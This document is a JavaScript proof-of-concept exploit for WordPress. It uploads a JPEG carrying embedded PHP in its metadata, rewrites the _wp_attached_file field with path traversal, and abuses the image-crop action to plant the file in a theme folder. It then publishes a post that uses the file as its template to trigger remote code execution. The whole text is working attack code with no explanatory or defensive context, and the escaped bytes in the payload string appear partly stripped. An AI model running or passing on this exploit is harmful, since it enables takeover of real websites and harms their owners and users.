var wpnonce = ''; var ajaxnonce = ''; var wp_attached_file = ''; var imgurl = ''; var postajaxdata = ''; var post_id = 0; var cmd = '<?php phpinfo();/*'; var cmdlen = cmd.length var payload = 'xffxd8xffxedx004Photoshop 3.0x008BIMx04x04'+'x00'.repeat(5)+'x17x1cx02x05x00x07PAYLOADx00xffxe0x00x10JFIFx00x01x01x01x00`x00`x00x00xffxdbx00Cx00x06x04x05x06x05x04x06x06x05x06x07x07x06x08x0ax10x0ax0ax09x09x0ax14x0ex0fx0cx10x17x14x18x18x17x14x16x16x1ax1d%x1fx1ax1b#x1cx16x16 , #&x27)*)x19x1f-0-(0%()(xffxc0x00x0bx08x00x01x00x01x01x01x11x00xffxc4x00x14x00x01'+'x00'.repeat(15)+'x08xffxc4x00x14x10x01'+'x00'.repeat(16)+'xffxdax00x08x01x01x00x00?x00Txbfxffxd9'; var img = payload.replace('x07PAYLOAD', String.fromCharCode(cmdlen) + cmd); var byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);}); var attachurl = '/wp-admin/media-new.php'; var uploadurl = '/wp-admin/async-upload.php'; var editattachurl = '/wp-admin/post.php?post=PID&action=edit'; var editposturl = '/wp-admin/post.php'; var addposturl = '/wp-admin/post-new.php'; var cropurl = '/wp-admin/admin-ajax.php'; console.log("Get wpnonce token."); jQuery.get(attachurl, function(data) { wpnonce = jQuery(data).find('#file-form #_wpnonce').val(); if(wpnonce) { console.log("Success! wpnonce: " + wpnonce); var postdata = new FormData(); postdata.append('name', 'ebaldremal.jpg'); postdata.append('post_id', post_id); postdata.append('_wpnonce', wpnonce); postdata.append('short', 1); // file var phpimage = new File([byteArray], 'ebaldremal.jpg'); postdata.append('async-upload', phpimage); console.log("Upload image with shell."); jQuery.ajax({ url: uploadurl, data: postdata, cache: false, contentType: false, processData: false, method: 'POST', success: function(data){ if(jQuery.isNumeric(data)) { post_id = data; console.log("Success! Attach ID: " + post_id); console.log("Get wpnonce for edit post, ajax_nonce for crop and URL for fun."); jQuery.get(editattachurl.replace('PID', post_id), function(data) { var btnid = "#imgedit-open-btn-" + post_id; wpnonce = jQuery(data).find('#post #_wpnonce').val(); ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0]; imgurl = new URL(jQuery(data).find('#attachment_url').val()); wp_attached_file = imgurl.pathname.match(/uploads/(.*)/)[1] + "?/any"; console.log("Success! wpnonce: " + wpnonce + ", ajaxnonce: " + ajaxnonce); if(wpnonce && ajaxnonce) { console.log("Update _wp_attached_file meta key to: " + wp_attached_file); postdata = { '_wpnonce': wpnonce, 'action': 'editpost', 'post_ID': post_id, 'meta_input[_wp_attached_file]': wp_attached_file } jQuery.post(editposturl, postdata, function(data){ console.log("Success!"); console.log("Crop image for create help folder."); postajaxdata = { '_ajax_nonce': ajaxnonce, 'action': 'crop-image', 'id': post_id, 'cropDetails[width]': 1, 'cropDetails[height]': 1 } jQuery.post(cropurl, postajaxdata, function(data){ console.log("Success! Help directory created."); wp_attached_file = imgurl.pathname.match(/uploads/(.*)/)[1] + "?/../../../../themes/twentynineteen/owned"; console.log("Update _wp_attached_file meta key to: " + wp_attached_file); postdata = { '_wpnonce': wpnonce, 'action': 'editpost', 'post_ID': post_id, 'meta_input[_wp_attached_file]': wp_attached_file } jQuery.post(editposturl, postdata, function(data){ console.log("Success!"); console.log("Crop image for create evil jpg image inside twentynineteen theme folder."); jQuery.post(cropurl, postajaxdata, function(data){ console.log("Success!"); console.log("Get wpnonce for create new post."); jQuery.get(addposturl, function(data){ console.log("Create new post and use evil jpg image as template."); if(jQuery(data).find('form.metabox-base-form').length) { wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val(); post_id = jQuery(data).find('form.metabox-base-form #post_ID').val(); } else { wpnonce = jQuery(data).find('#post #_wpnonce').val(); post_id = jQuery(data).find('#post #post_ID').val(); } postdata = { '_wpnonce': wpnonce, 'action': 'editpost', 'post_ID': post_id, 'post_title': 'RCE-HERE', 'visibility': 'public', 'publish': 'Publish', 'meta_input[_wp_page_template]': 'cropped-owned.jpg' } jQuery.post(editposturl, postdata, function(data){ console.log("Success! Browse post with id = " + post_id + " to trigger RCE.") console.log("Trying to open: " + imgurl.origin + "/?p=" + post_id + ")"); window.open(imgurl.origin + "/?p=" + post_id, '_blank'); }); }); }); }); }); }); } }); } } }); } });